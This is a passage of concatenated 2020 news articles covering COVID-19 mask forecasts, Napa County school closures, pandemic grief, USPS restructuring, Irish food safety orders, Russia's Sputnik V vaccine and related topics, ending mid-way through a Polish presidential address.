be saved if everyone wears a mask. The University of Washington's Institute for Health Metrics revised its death toll forecast last Thursday to predict nearly 300,000 deaths by December 1. Researchers say that 70,000 lives could be saved if 95 percent of Americans wear masks from today when they leave their homes. IHME Director Dr Christopher Murray put the drop in infections down to a combination of local mandates for mask use, bar and restaurant closures and more responsible behavior by the public. He warned Americans not to become complacent given the infection and death rate was decreasing. 'The public's behavior had a direct correlation to the transmission of the virus and, in turn, the numbers of deaths,' Murray said. 'Such efforts to act more cautiously and responsibly will be an important aspect of COVID-19 forecasting and the up-and-down patterns in individual states throughout the coming months and into next year. 'We're seeing a rollercoaster in the United States. 'It appears that people are wearing masks and socially distancing more frequently as infections increase, then after a while as infections drop, people let their guard down and stop taking these measures to protect themselves and others which, of course, leads to more infections. And the potentially deadly cycle starts over again.' By Eli Walsh Bay City News Foundation Napa County supervisors affirmed their support for county Public Health Officer Dr. Karen Relucio on Tuesday after a group of parents lambasted her for not reopening some schools during the COVID-19 coronavirus pandemic. Relucio appeared before the Napa County Board of Supervisors to give an update on COVID-19 and the county, which has had one of the lowest case totals in the greater Bay Area since mid-March. However, the county's relatively low number of cases, 1,074 as of Monday, obscures that the county's case total doubled from 480 to 960 in just 26 days during the month of July, according to Napa County Public Health data. That quick rise in cases landed Napa County on the state's coronavirus watchlist, which prevents businesses like salons and gyms from operating indoors and also prevents schools from holding in-person classes until their county is off the list for 14 days. While school districts can apply for local waivers if they meet a handful of conditions outlined by the state, Relucio has said she's concerned about the inequity of such requests only coming from private schools, a sticking point for several people who spoke at the meeting. "What's inequitable is a health officer factoring politics into her decision-making and permitting the gross negligence of (teacher) unions to impact the education of thousands of non-public school students," said Regina Bailey, who introduced herself as a Napa resident and a mother of five. Several speakers cited New York Gov. Andrew Cuomo's recent announcement that the state would allow schools to begin the fall semester with in-person instruction as justification that both the state and Relucio should approve waiver requests from schools, regardless of whether they are private or not. Some speakers also suggested that state public health officials and Gov. Gavin Newsom are kowtowing to teachers' unions in prohibiting in-person classes in much of the state. "We're not in Sacramento, we're in Napa County," said Leah Simon, a mother of two students at St. Apollinaris Catholic School. "Politics should never come into play when we're dealing with our children." Supervisor Alfredo Pedroza defended Relucio, arguing that New York's stage of the pandemic is not analogous to California's and that the health officer is basing her decisions off the local conditions at hand. "I think you have to make sure we're working with the same set of facts," Pedroza said. "When you look at New York, they've had in the past seven days an increase of 4,500 cases. In the state of California, 45,000 cases." Relucio noted that the county is dealing with a recent glitch in the state's coronavirus monitoring system that resulted in a backlog of nearly 300,000 cases. While the state has fixed the issue and caught up on the backlogged cases, local jurisdictions are still applying the data from recent weeks to their metrics tracking the virus' local spread. The state also prevented any of the 38 counties on the state watchlist from being removed until the tracking system issues could be rectified. "I understand that kids need their education for intellectual and socioemotional development," Relucio said. "This is a very difficult decision and I'm not doing this willy nilly." Napa County is currently hitting all but one benchmark required to fall off the watchlist. State public health officials require a county to have a case rate of fewer than 100 cases per 100,000 people; Napa County has 176.1, with the caveat that cases could be underreported, Relucio said. Supervisor Ryan Gregory said that while he has been frustrated at the state's focus on case rate per 100,000 residents as a reopening metric, he echoed his colleagues' support for Relucio and suggested the need for a "full-court press" to bring that metric into compliance. "I'm not happy about it but, in my view, it's really all we have, it's the only thing we have right now in our control," Gregory said. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. This common pandemic scenario, says grief expert Robert Neimeyer, a psychologist and director of the Portland Institute for Loss and Transition in Portland, Oregon, is very unlike the more typical pre-pandemic experience of losing a loved one to a chronic illness like cancer or heart disease. Those allow us time in the hospital, sitting at the bedside of our loved one, telling stories of our shared experience. With COVID-19, the opportunity to address life's unfinished business, to mend relationships or say goodbyes is often taken away all of which can greatly affect our feelings and perspective once a friend or family member is gone. From there, the collective ritual of a funeral or burial may be postponed, or the mourner unaccompanied. So we have this broken web of connection, which creates what we psychologists call unfinished business in bereavement, Neimeyer says. Other kinds of loss also are linked with COVID loss of employment or financial security, loss of physical contact with family and friends due to social distancing, loss of freedom of movement or a sense of control. All can contribute to what psychologists call complicated grief, one that's more difficult, intense, prolonged and disruptive than usual. A tsunami of anguish With this kind of grief, Neimeyer says, people experience a tsunami of psychological anguish, yearning, marked disruption in our lives, and social disengagement. And that disruption might be present for a year or two or longer after a loved one's death. Under normal circumstances, the rate of complicated or prolonged grief (which defines the same psychological condition) in the general population might be 10 percent of all bereaved people; it's often faced by those dealing with traumatic deaths, such as the loss of a child or the murder of a loved one. While we don't know yet what the percentages will look like for COVID, we know the risk factors that we have described will be present in vivid ways. People may be struggling with it for years, Neimeyer says. Complicated grief's long duration and intensity translates into difficulty with daily functioning things like sleeping, eating, paying bills, or going to work become real challenges, says Robin Fiorelli, senior director of bereavement and volunteer services for VITAS Healthcare, a national hospice company. Survivors may also feel a sense of guilt, or fear their own exposure to the virus. Being stuck in the same home once shared with someone lost to COVID-19, with few options to get out and visit others, can also make grief more intense. VITAS, like all hospices, offers bereavement support for the loved ones of patients who were enrolled in its hospice programs, lasting for up to a year after the patient's death. (Like many hospices, it also offers similar support to other grievers in their community.) Pamela Villalobos of San Diego, California, joined such a group, over a video chat, after losing her mother to a COVID infection in April. Villalobos was used to visiting her mother six days a week at her memory care unit in an assisted living facility. But when the facility closed to visitors after the pandemic hit, she switched to communicating via FaceTime and GrandPad and making window visits with other family members outside the facility. It was during one of these distanced chats that Villalobos noticed her mother had stopped talking, signaling the end was near. She was allowed to make one last in-person visit on the day before her mother died, but funeral plans were put off until the extended family was able to come together again. Villalobos says her mother's death felt isolating, and very unlike her father's final days, a year and a half earlier. Then, she says, there was plenty of time for goodbyes, along with comforting assistance from a hospice chaplain who helped the family create a sacred space at his bedside. With her mother's final days, she says, it was incredibly painful not to be there to comfort her, though I was grateful that I could be there myself at the end. Villalobos says she found the virtual grief group's recognition of her profound grief and the knowledge she was not alone experiencing it extremely beneficial. How to adapt to grief now While you may not be able to be surrounded by your loved ones while you mourn, regularly reaching out to friends and family over the phone or by video chat can be critical for managing, and expressing, your grief. Talking to a professional perhaps through a telehealth appointment can also be helpful. Beyond that, Neimeyer recommends looking for a daily or weekly ritual to honor the memory of the deceased, which can be as simple as speaking to their photo in your home, or visiting a favorite place of theirs on a daily walk in your neighborhood. All these small ways can actively honor those we have loved and lost, he says, adding that doing so can help move you from a place of passive victimhood to one where you feel more in control and able to cope. Titan Protect USA Makrite N95 Particulate Respirator Mask Previously, advanced PPE such as N95 masks were restricted to frontline and healthcare providers due to limited availability. We have now secured sufficient supply that enables us to offer our N95s to the public and all businesses.Daniel SooferianFounder,Titan Protect USA Today, Titan Protect USA, a venture of Titan West Trading, LLC, announced that effective immediately, they will stop restricting the sale of NIOSH-certified N95 particulate respirators only to essential frontline workers and healthcare providers. Daniel Sooferian, founder of Titan Protect USA, said: Previous restrictions on sales of advanced PPE, such as N95 masks, only to frontline and healthcare providers were necessary due to limited availability, and to ensure that the doctors, hospitals and healthcare providers who are at the highest level of risk would have ready access to these life-saving supplies. We have now been able to secure a significant and ongoing supply that enables us to continue to provide our N95s to all healthcare and frontline providers as well as to the public and all businesses. Titan Protect USA is an official distributor of the NIOSH-certified Makrite 9500-N95 Particulate Respirator, one of the most highly sought-after brands of N95 masks. These N95 masks are certified (NIOSH Approval Number: TC-84A-5411) to provide at least 95% filtration efficiency and protection from microscopic viruses. Sooferian added: It is also very important to note that not all N95 masks are equal. Health experts have warned that N95 masks with a front valve or opening may actually propel expelled virus particles further, putting others at a higher level of risk. Our Makrite N95 masks do NOT have a front valve and provide the highest level of protection to both the wearer and to others. Titan Protect USA has, to date, supplied state health departments, hospitals and healthcare facilities with millions of pieces of critically needed PPE supplies, and is committed to helping protect those who are fighting the current pandemic at great personal risk. Titan Protect USA is a leader in integrity-priced PPE that is available immediately and ships from the US. Titan Protect USA also provides a wide range of Personal Protective Equipment. The United States Postal Service (USPS), under the leadership of Postmaster General, former logistics firm CEO and major Trump donor Louis DeJoy, announced an unprecedented restructuring of the organizations top management. USPS mail truck (credit: Wikimedia Commons) The announcement comes after the July 10 memo signaling the privatization of the USPS; with the elimination of overtime and the deliberate decision to delay mail, with more to come. More indeed has come. After post offices around the country reported reduction of hours, the USPS released a statement on August 7 announcing the reassignment or displacement of 23 postal executives, including the two top officials in day-to-day operations. USPS's operations will also be consolidated into three business operating units, which are: Retail and Delivery Operations, responsible for accepting and delivering mail Logistics and Processing Operations, for processing and moving mail and packages to the delivery units Commerce and Business Solutions, for leveraging infrastructure to enable growth The full implications of the restructuring are not yet apparent; however, it is clear that this is a move to centralize authority for the operations of the USPS around DeJoy. DeJoy is a major Trump donor who has given over $2 million in campaign contributions. In the statement, USPS writes: As part of the modified organizational structure, logistics and mail processing operations will report into the new Logistics and Processing Operations organization separate from existing area and district reporting structures. This includes all mail processing facilities and local transportation network offices. Splitting operations into these two organizations is designed to allow for improved focus and clear communication channels. An institution founded during the American Revolution in 1775, predating even the Declaration of Independence, the United States Postal Service is responsible for key democratic functions. It has a government-mandated monopoly over the delivery of lettered mail, including the responsibility to deliver mail-in ballots, helping ensure the right to vote for all US citizens. Under conditions of a devastating pandemic which has claimed the lives of over 162,000 people in the US and 728,000 globally, mail-in ballots will become the primary means of voting (if elections are even held). The creation of a new Logistics and Processing Operations organization with separate reporting structures casts even further doubt on the integrity of the voting process. Trump has already made statements challenging the legitimacy of the mail-in balloting process and has repeatedly floated the possibility of postponing the election. But the attack on democratic rights is also being carried out in different ways by Trump's Democratic Party opponents, who have effectively denied third-party candidates the right to appear on the ballot in federal lawsuits filed in Michigan and California by the Socialist Equality Party. In addition to the restructuring announcement, the Postal Service has put a management hiring freeze in place and is pushing early retirement for nonunion postal employees. While the USPS management claims that it is instituting these changes to make the organization more efficient, reports around the country indicate otherwise. The slashing of overtime, lowering of postal office hours, and decisions to delay mail have led to complaints being filed by residents around the country, with some reports indicating that people have had their mail delayed, often containing essential items like medicine, for weeks. Connecting Vets reported that nearly 100 veterans and caregivers, along with dozens of Veterans Administration employees, and others, confirmed that Postal Service issues are delaying veterans medications. In addition, reports are coming in from Michigan, Baltimore, and Philadelphia. Mail carriers told the Philadelphia Inquirer that they are overwhelmed, working long hours yet still unable to finish their routes. Offices are so short-staffed that when a carrier is out, a substitute is often not assigned to their route. We dont know who these people are. What is their experience in logistics and how the post office runs?" Ali, a postal worker, said to the World Socialist Web Site. "He just appointed three of his own people. Just like our president appointed him to slow and sabotage the mail vote in November. I guess time will tell. All these changes that hes already done are hurting us so bad, especially delaying the express, which is the most profitable service we have. People will call and get their money back if we dont deliver it on certain days. Or they will go to our competitors. Senate Minority Leader Chuck Schumer (D-N.Y.) told reporters Wednesday that he and House Speaker Nancy Pelosi (D-Calif.) had a heated discussion with the postmaster general over the recent developments. The meeting comes a day after the House Oversight and Reform Committee announced that DeJoy agreed to testify at a Sept. 17 hearing focused on USPS operations. More than 130 members of the House, mostly Democrats, have signed on to a letter demanding measures in the final pandemic spending bill that would roll back the operational changes DeJoy instituted, and give the agency $25 billion in one-time funding. However, this proposal is dead on arrival, as it would never pass the Republican-controlled Senate and would be vetoed by Trump even if it were to pass. The truth is that the drive to systematically defund and privatize the USPS is a bipartisan affair. Under Democratic President Bill Clinton, the USPS began contracting out services. Under Democratic President Barack Obama, the Postal Service shut down over 3,700 post offices around the country. Moreover, the current Board of Governors of the USPS, as the WSWS recently reported, is composed of former corporate executives who are financial supporters of both parties, as well as former trade union advisers who support the Democratic Party. The two most recent appointees by the Trump administration, Donald M. Moak (a longtime Democratic Party donor and former member of the AFL-CIO executive council) and William D. Zollars (a corporate executive whose private transportation firm YRC Global faces allegations of fraud) were unanimously approved by the Senate; the other members had strong bipartisan support as well. Much of the leadership of the USPS has a direct financial incentive to privatize the Post Office. As a financial disclosure filed with the Office of Government Ethics revealed, the Postmaster General and his wife own between $30.1 million and $75.3 million in assets in USPS competitors or contractors. Privatization of the USPS, as the experience in Europe and Japan demonstrates, would mean the elevation of shipping costs, reduced mail delivery access, and further degradation of working conditions and wages. A postal worker in Britain submitted a statement to the WSWS recently, pointing out that since privatization of the Royal Mail in 2013: "Parcel volumes are up 64 percent according to Royal Mails financial results, increasing the already heavy workload faced by postal workers. Royal Mail has given massive amounts of money to shareholders. In the last seven years since privatisation, the hedge funds and other significant shareholders controlling Royal Mail have extracted over 1 billion in dividends and other remunerations." Since it was privatized, Royal Mail has increased the proportion of 20-to-25-hour contract jobs and has created a two-tier workforce. Privatization was made possible, the postal worker notes, through the support of the British postal workers trade union, the CWU. In the midst of COVID-19, the CWU called off strikes approved by over 94.5 percent of the members, even as it admitted that over 20,000 workers will eventually be let go. For USPS workers, the unions have played a similar role, presiding over the reduction of over 300,000 full-time positions since 1999. During COVID-19, as management hides COVID-19 infections and deaths from workers and as privatization moves forward at full speed, the unions have done virtually nothing. In defense of democratic rights, to halt privatization, and protect their safety, postal workers must break from their unions and the Democratic Party and take matters into their own hands by forming independent rank and file committees, as autoworkers have done. The World Socialist Web Site will offer support and guidance every step of the way. President Donald Trump. JIM WATSON/AFP via Getty Images President Donald Trump wants to temporarily bar US citizens and permanent residents from entering the country if they are suspected of having the coronavirus, The New York Times reported on Monday. A draft proposal said that if a border official "reasonably believes that the individual either may have been exposed to or is infected with the communicable disease," the person could be barred from entering, The Times reported. The proposal did not specify how long the restriction would last, the newspaper said. The Times added that it's still not clear whether a measure like this would be constitutional. Visit Business Insider's homepage for more stories. President Donald Trump is looking to temporarily bar US citizens and permanent residents from entering the country if they are suspected of having the coronavirus, The New York Times reported on Monday. A draft proposal said that if a border official "reasonably believes that the individual either may have been exposed to or is infected with the communicable disease," that person would be denied entry to the US. The proposal was sent to federal agencies, which have until Tuesday to provide feedback, The Times reported. The president had previously cited coronavirus concerns in barring nonresidents from several countries, including many European nations, from entering the US. The Times reported that the draft proposal said that any order that would block a legal resident or citizen from coming into the country had to "include appropriate protections to ensure that no Constitutional rights are infringed." But the newspaper added that experts had questioned whether such a measure would indeed be constitutional. The proposal did not specify how long someone would be barred from entering the US, The Times said. An official familiar with the discussions told Insider that the proposal was part of the Trump administration's overall approach to mitigating the spread of the virus and could change before it is finalized. Story continues Some countries, including South Korea, have imposed mandatory quarantines for people coming into the country to help limit the spread of the virus. According to The Times, the document addressed the border with Mexico, a region that Trump has long focused on as part of a broader agenda to limit immigration. The proposal said the coronavirus outbreak had strained Mexico's healthcare system and was forcing Mexicans to seek care in the US, the newspaper reported. Mexico has so far recorded more than 480,000 coronavirus cases and over 52,000 deaths. In the US, more than 5 million cases have been recorded, and over 163,000 people have died, according to data from John Hopkins. Read the original article on Business Insider A Laois restaurant that was issued with a closure order posed a "grave, immediate and serious risk" to the public with rodent droppings found near where food was prepared. "Fresh rodent droppings" were found in the washing up area and under shelves storing vegetables, "indicating the presence of rodents on the premises", the HSE's food hygiene inspector reported. "Two additional mousetraps were found laid in the same area. Rodents carry food poisoning bacteria and can contaminate food and surfaces. The presence of rodent droppings in areas where open packages of food are stored and in an area where food is prepared is likely to lead to grave and immediate danger to public health". The inspection also found "failure to maintain the kitchen and associated food rooms in a clean and hygienic manner. Food contact surfaces, floor, walls, ceilings, food equipment were visibly filthy throughout. There were significant accumulations of engrained dirt, food debris, grease and dust noted through the entire premises. the serious lack of cleanings noted on inspection noted on inspection throughout the premises represents a grave, immediate and serious risk to public health". The restaurant failed two regulations, one on hygiene, the other on pest control. The Indian Prince restaurant in Kilminchy Court Portlaoise was issued with a closure order by the HSE on July 24. The order was issued under Food Safety Authority of Ireland Act 1998 was served on the Indian Prince restaurant and Cafe, at Unit 16, Kilminchy Court, Portlaoise Laois. The owner was listed as Binoy Sebastian. The order was lifted four days later on Tuesday, July 28, but details remain on the Food Safety Authority of Ireland's website for three months. It was one of five Closure Orders served during July in Ireland under the FSAI Act, 1998. The other four were in Dublin, including an ice cream parlour in Dun Laoghaire. AIM Cash & Carry (Closed activity: all food sales), Unit 20, Robinhood Industrial Estate, Clondalkin, Dublin 22 Londis (Closed Areas: The deli counter, the butcher counter and preparation rooms and store rooms off the deli/butcher counters), 38 Fassaugh Avenue, Cabra, Dublin 7 Teddys Ice Cream (Closed area: food and packaging storage unit at the side of the premises only), East Pier Battery, Dun Laoghaire Harbour, Dun Laoghaire, Co. Dublin WW Poultry (Cold Store), Unit 24 Orion Business Centre, Northwest Business Park, Ballycoolin, Dublin 15 Two Prohibition Orders were served under the FSAI Act, 1998 on: WW Poultry (Cold Store), Unit 24 Orion Business Centre, Northwest Business Park, Ballycoolin, Dublin 15 AD Cash and Carry Limited (Wholesaler/Distributor), Unit 4, St James Industrial Park, Kylemore Way, Inchicore, Dublin 8 Some of the reasons for these Enforcement Orders in July include: Evidence of recent rat activity; rat droppings beside open food products; a meat cutting and packaging area beside ready-to-eat food; meat considered unfit for human consumption, due to putrefaction, being stored at an unregistered premises; filthy food contact surfaces; inadequate pest control procedures; no access to hot water for staff to practice good hand hygiene; a mat in a staff bathroom covered in snail and slug residue; and no HACCP-based food safety management procedures or associated monitoring records available for inspection. According to Dr Pamela Byrne, Chief Executive, FSAI, while recent inspections in July have identified a number of breaches of food legislation related to food safety and hygiene practices, they have also identified some food businesses operating outside of the law that were not registered or approved and therefore, were selling food with no regulatory oversight for food safety and consumer protection. A number of serious incidents have been identified where authorised officers found people operating out of food premises or vehicles where no adherence to basic food safety and hygiene practices where in place. A food business was found transporting unrefrigerated meat and meat products in the boot and back seat of a car. On another occasion, a wholesale business was operating in filthy conditions with unfit and out of date food, whilst another establishment had a significant level of unlabelled and untraceable food on its premises. "In all these cases, authorised officers used enforcement powers to mitigate the risk to consumers from these business operations. However, we would be concerned that this could be reflective of a growing level of unscrupulous operators seeking to make a profit, at the expense of public health. "We would urge consumers to question anyone offering them food for sale that seems unusual or that has no food labels on the packaging. We would also ask food businesses not to purchase food from unregistered/unapproved suppliers. Larger food businesses should ensure, when selling commercial quantities of food, that the buyer is a registered or approved food business operator. They can do this by checking with the relevant inspecting authority. In the absence of official inspections, it is not possible to verify compliance with food law and there is an increased risk that unsafe food may be placed on the market. "We have a complaints service on our website at fsai.ie/makeitbetter, where people can report any suspicions to us and we will follow up all reports, Dr Byrne says. Anyone who is selling food must register with or have their business approved by a competent authority and abide by food law. This is to protect consumers health in relation to food as each registered/approved business then comes within the food safety inspection process. Consumers have a right to safe food and bogus operators seeking to make a quick profit at the risk of potentially making consumers sick or selling non-compliant or fraudulent foodstuffs will be pursued through the legal powers, she concludes. Details of the food businesses served with Enforcement Orders are published on the FSAIs website. Closure Orders and Improvement Orders will remain listed on the website for a period of three months from the date of when a premises is adjudged to have corrected its food safety issue, with Prohibition Orders being listed for a period of one month. I was in a radio studio on Sunday, with two young journalists. Both very bright. Both clued into how politics works and doesnt work, and both, despite their youth, very savvy about media. We were discussing the Sunday Independents acknowledgement last weekend of the way it had treated John Hume in the period before the major breakthrough in the peace process. One of the two young journalists was clearly very much aware of the campaign of self-indulgent abuse that had been visited on Hume in the early 1990s. But, she said, I was seven then, and its hard to remember what that felt like if you hadnt lived through it. I could. I lived through 1993 and 1994, every single day of both those years, and I can remember them vividly as two of the most turbulent years in the entire history of Irish politics. At the very start of 1993 Albert Reynolds and Dick Spring formed a coalition government. At the end of 1993, on the basis of work and inspiration by John Hume, the Downing Street Declaration was signed by Reynolds and John Major. I still have the first signed copy. Exactly a year to the day after he signed the Downing Street Declaration, Albert Reynold was replaced by John Bruton as Taoiseach. From the start of 1993 to the end of 1994 we had triumph and scandal; peace-making and atrocities; high-stakes politics and reckless politics; trust and deep mistrust. As you might say, in those two years, there was never a dull moment. We shaped the future, and we barely survived the present. And then later on Sunday, I discovered that Brendan Halligan had died. And my mind immediately went back further, to the 1960s and early 1970s, when I was still a teenager and electrified by a single speech. It was 1967, in Liberty Hall in Dublin. The leader of the Labour Party at the time was Brendan Corish, a tall, strikingly handsome man with a pronounced Wexford accent. He was popular with party members and with the electorate. Hed been leader about six or seven years, and had brought the party from 13 to 33 TDs, and to just over 15% of the popular vote. I could be wrong, but I dont think that anyone in Ireland had ever heard a political leader use the word socialist so often and so prominently in a single speech. I certainly hadnt, and when I heard Corish begin with the words, The 70s will be Socialist, I was hooked. Almost immediately he went on to say that he intended to offer the audience the vision of a new society what he called (and what the speech became called) 'A New Republic'. The New Republic speech of 1967, in its own way, was one of the turning points of Irish political history. Other revolutions were happening, in Europe and around the world. The anti-war movement in America, student revolt in France and Germany, the emergence of human rights as a global issue. Thanks to the vision of the New Republic, Ireland was in that mainstream. And Labour. People flocked to join the party, and many of them were well-known public figures already. Socialism was no longer the dirty word it has been in Ireland, no longer (and never again) something to be feared by all right-thinking people. Labour itself, which had been a largely rural party the party of poltroons, as someone unkindly characterised it began to spread its wings, and despite all the ups and downs since, has never been less than a truly national party. Brendan Halligan did all that. He was the principal architect of the speech and the realignment. For one brief shining moment, he and the leader he served loyally were able to offer a real and different version. The history of Ireland in the second half of the 20th century is a history of profound change, especially in terms of the opening of a society that had been barred and shuttered up to then. Brendan Halligan was one of its architects. Although the high hopes and dreams generated by that speech werent realised (and some of us are now the living embodiment of the joke that instead of the 70s being socialist, the socialists are 70), it is I believe impossible to deny the importance of the speech and the moment that Brendan Halligan crafted. Other things the Northern Ireland troubles, principally got in the way of that vision. But that cannot deny the fact that it was a real, transformative, moment of vision that still holds out great promise. Brendan leaves other legacies behind him. As the founder of the Institute of Europeans Affairs, and as one of Irelands most committed European thinkers, he designed and cemented a place in European analysis and ideas that has served Ireland brilliantly. As a servant of the public in a variety of roles, he has, as the saying goes, done the State some service. As a man, he was one of the great persuaders. It was impossible not to be charmed by Brendan when you met him. You might be determined to fight with him over something, but you always ended up agreeing with him. But from a beginning in local community development through a lifetime in public and political activity, Brendan Halligan was one of Irelands leading political visionaries and thinkers. He left an undeniable mark on his country. The Labour Party actually lost two former general secretaries in the last few days. We also lost Colm OBriain, who served as Labour general secretary for two years in the 80s two of the toughest years, when Labour was in government during a deep recession. We nearly didnt survive that, but after we rebuilt, Colm went on to help Michael D Higgins become the first (and outstandingly the best) minister for arts and culture we ever had. Colm was an exciting personality and a genuine intellectual. He also had a great sense of fun and drama. He loved an argument, and could be ferocious in defence of a point of view. But he was one of those people from whom you never parted other than as a friend. Theres a degree of humdrum slog in the job description of a general secretary for a political party, and I suspect that Colm didnt enjoy that side of the job so much. Given any chance to get his teeth into an issue, though, he radiated energy and charisma. He was one of the founders of the Project Arts Centre, the first full-time director of the Arts Council, and had been a ground-breaking producer and director in RTE. In all of those roles and throughout his active life, Colm was a leader. He shared with his predecessor Brendan Halligan a deep sense of vision of what was possible and the desire, as Jim Larkin put it, to close the gap between what ought to be and what is. Two men with the invaluable gift of bringing others with them. Two men who left a lasting impression on everyone who worked with them. Two men who made their mark on their country. Two men who will be missed. Gaborone, Botswana (PANA) - Cement manufacturer, PPC Botswana, has committed to strategically partner with brick molding startups across the country, to assist them grow their businesses Kathmandu, August 11 Nepal Tourism Board says it has set a target of welcoming 206,000 foreign tourists to Nepal in the ongoing fiscal year 2020/21 that ends at mid-July 2021. However, the country is unlikely to record any tourist arrival in the first two months of the fiscal year due to the Covid-19 crisis. Whereas the first month is approaching its end, the second month is also unlikely to see any foreign tourists as the suspension on domestic and international flights is certain to get extended with the rising Covid-19 cases. In the remaining 10 months, over 200,000 tourists could visit, says a member of the NTB, Deepak Mahat. The board has recently finalised its policy and programme that mentions the target. Meanwhile, the boards annual budget has been halved citing a significant loss in the revenue. The government had announced the ambitious Visit Nepal Year 2020 with a target of attracting at least two million tourists in a year. However, it was cancelled due to the Covid-19 crisis. Egg producer and packer L J Fairburn & Son says it has seen demand for its eggs increase since the coronavirus outbreak. Retailers have seen demand for eggs surge amidst panic buying brought on by the Covid-19 pandemic. Data from the British Egg Industry Council (BEIC) showed that over the four weeks leading to the week ending 22 March, an estimated 621m eggs were sold at a value of 88m. The figure is nearly 20 percent more than the same time last year when a total of 518 million eggs were sold for 74 million. Now Fairburn's, one of the country's leading packers, has referred to the increased demand in is latest accounts. Although the accounts were for the 12-month period up to September 30, 2019, managing director Daniel Fairburn added a note about developments since the year end. "In March 2020 the UK government announced an unprecedented national lockdown to stem the spread of the Covid-19 virus," he said. "The company operates in an industry that is classed as essential, and therefore the company has remained fully operational since March 2020. "Our supermarket customers have significantly increased their orders, given the rise in demand from the end consumer "Overall, the directors do not consider that the Covid-19 outbreak will have a negative impact on the company," he said. In the last financial year, the firm's turnover increased from 86.7m to 92.7m, although pre-tax profits were down significantly, from 2.3m in 2018 to 538,837 in 2019. Daniel Fairburn said in his strategic report: "Our focus for the year was to adapt our business in the changing environment. "The changes implemented too time to impact on our financial performance and so resulted in a gradual improvement in results throughout the year. "As part of our continued strategy to build our business on long term sustainable grounds, we again invested heavily, focusing on increasing our rearing capacity and further developing our packing centre." He said that in the next financial year the directors would continue to invest in all areas of the business. Russian President Vladimir Putin declared on Tuesday that Russia has become the first country to approve a vaccine for COVID-19. But some scientists question whether its quick approval without testing a large group of people will lead to a safe vaccine. Speaking at a government meeting, Putin said that the vaccine, developed by Moscows Gamaleya Institute, has completed the necessary tests and is safe. I know that it works quite effectively, forms strong immunity, and I repeat, it has passed all the needed checks, said Putin. We must be grateful to those who made that first step very important for our country and the entire world. The Russian leader noted that one of his two adult daughters has received two shots of the vaccine. She has taken part in the experiment, Putin said. Kirill Dmitriev is head of the Russian Direct Investment Fund. He likened the development to a Sputnik moment. Sputnik 1 is the name of the worlds first satellite. It was launched in 1957 when Russia was part of the Soviet Union. Dmitriev said the new COVID-19 vaccine will be named Sputnik V. He said Russia had already received foreign requests for one billion doses. Russian state media also praised the scientists working on the vaccine and described the work as the envy of other nations. The Russian Health Ministry said in a statement that the vaccine is expected to provide immunity from the coronavirus for up to two years. Officials added that medical workers, teachers and individuals in other high-risk groups will be the first to receive the shots. Phase 3 trials The Russian announcement came less than two months after the start of human testing of the vaccine. And the vaccine has yet to complete Phase 3 trials when a new drug is tested against the effectiveness of other treatments. Other COVID-19 vaccine candidates have been given to volunteers in Phase 3 trials in Britain and the United States. Those vaccines have been developed by the University of Oxford and the U.S. National Institutes of Health (NIH). Each trial will last for several months and include up to 30,000 people. Alexander Gintsburg is head of the Gamaleya Institute. He said that the Russian vaccine program will start while Phase 3 trials continue. He told the Interfax agency that, at first, there will be only enough shots for some parts of the country. The Association of Clinical Trials Organizations (ACTO) represents the worlds top drug makers in Russia. Earlier this week, it urged the health ministry to postpone approval until final testing is successfully completed. Some international experts have questioned the speed at which Russia approved its vaccine. Michael Head is a doctor and an expert in Global Health at the University of Southampton. He said, It is unclear precisely what is actually happening with the Russian vaccine At this point in time, there is no data on the Russian-led vaccine for the global health community to scrutinize. Normally you need a large number of people to be tested before you approve a vaccine, said Peter Kremsner from the University Hospital in Tuebingen. In that respect, I think its reckless to do that (approve it) if lots of people havent already been tested. Duncan Matthews is with Queen Mary University of London. He said news of a possible COVID-19 vaccine was to be welcomed, but safety must be the priority. The World Health Organization says more than 100 possible vaccines are being developed to protect against COVID-19. But only six possible vaccines are currently in Phase 3 trials. Last month, the United States, Britain and Canada accused Russia of trying to steal Western research into coronavirus vaccines and treatments. In a joint statement, the three governments identified the Russian group Cozy Bear as responsible for the attacks. I'm Jonathan Evans. Hai Do wrote this story for Learning English with information from the Associated Press, Reuters, WHO and Science Media Center. George Grow was the editor. _______________________________________________________________ Words in This Story immunity - n. the power to keep yourself from being affected by a disease check - n. the process of examining something to see if there is anything wrong grateful - adj. showing thanks dose - n. the amount of medicine the envy of - phrase, something that causes someone to want it scrutinize - v. to examine carefully and critically reckless - adj. not showing proper concern about the possible bad results of your actions priority - n. something that is more important than other things and need to be dealt with first By Laman Ismayilova Azerbaijan's pop-folk ensemble "Janghi" has successfully performed at Music of the World International Ethnic Festival in St. Petersburg. The folk ensemble left no one indifferent. The musicians thrilled listeners with their magnificent performance. Led by People's Artist of Azerbaijan Mirjavad Jafarov, the ensemble is a frequent guest at prestigious music competitions and international festivals. The ensemble which includes Honored Artist Ruslan Huseynov (bass guitar), Mirjavid Jafarov (tar), Nijat Bayramov (drums), Vasif Huseynzade (piano), Farhad Aliyev performed virtually amid COVID-19 pandemic. The 5th Music of the World International Ethnic Festival brought together talented musicians from Azerbaijan, Russia and Kazakhstan. The music festival featured the best ethno-rock, ethno jazz from across Russia and other countries. Traditionally, the festival program includes concerts, tours, master classes and lessons of collective improvisation on ethnic instruments, interactive classes for children and adults. -- Follow us on Twitter @AzerNewsAz Pobierz zdjecie Przeczytaj o zasadach pobierania zdjec Address by the President at the National Assembly Thank you, all of you, Ladies and Gentlemen, Dear Compatriots! Honourable Madam Marshal of the Sejm! Honourable Mr Marshal of the Senate! Honourable Mr Prime Minister! Honourable Mr President! Honourable Deputy Marshals of the Sejm and the Senate! Honourable Deputy Prime Ministers and Cabinet Ministers! Honourable former Marshals of the Sejm and the Senate and former Prime Ministers! Honourable Madam President of the Constitutional Court! Honourable Madam First President of the Supreme Court of Justice! Honourable Mr President of the Supreme Administrative Court! Honourable Presidents and Presidents of the Central State Administration Bodies! Honourable Members of the European Parliament! Distinguished Presidents and Chairmen of Central Bodies of State Administration! Heads and Representatives of the Chancellery of the Prime Minister, the Chancellery of the President, the Chancellery of the Sejm and of the Senate! Dear Generals, Officers, Representatives of the Polish Army, Police, and other Uniformed Services! Eminences, Excellencies, Reverend Representatives of the Churches and Religious Unions! Excellencies, Heads of Diplomatic Missions and Members of the Diplomatic Corps! Distinguished Representatives of state and Local Administration! Dear Guests participating in this National Assembly! Ladies and Gentlemen! All power in human society is derived from the will of the people. Our great ancestors wrote these extremely important words in the 3rd of May Constitution. How timely they have proven to be in recent days, weeks and today! Power is derived from the will of the people - and the people have expressed their will in the election. It is the Poles who have the right to determine who is to be their president - the head of state. And they have done so. Over 20 million voters took 